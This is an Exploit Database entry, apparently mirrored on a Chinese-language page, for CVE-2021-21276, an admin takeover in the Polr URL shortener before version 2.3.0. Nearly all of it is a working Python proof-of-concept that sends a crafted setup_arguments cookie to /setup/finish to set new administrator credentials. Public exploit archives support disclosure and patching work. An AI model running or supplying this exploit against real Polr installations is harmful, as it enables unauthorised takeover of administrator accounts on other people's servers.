POLR URL 2.3.0 – Shortener Admin Takeover

• Exploit Database
• 13 阅读

• 作者： p4kl0nc4t
  日期： 2023-04-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51277/

• # Exploit Title: POLR URL 2.3.0 - Shortener Admin Takeover
  # Date: 2021-02-01
  # Exploit Author: p4kl0nc4t <me-at-lcat-dot-dev>
  # Vendor Homepage: -
  # Software Link: https://github.com/cydrobolt/polr
  # Version: < 2.3.0
  # Tested on: Linux
  # CVE : CVE-2021-21276
  
  
  import json
  
  import requests
  
  payload = {
  'acct_username': 'admin',
  'acct_password': 'password',
  'acct_email': 'email@youremail.com',
  'setup_auth_key': True,
  }
  
  r = requests.get('http://localhost/setup/finish',
   cookies={'setup_arguments': json.dumps(payload)})
  print(r.text)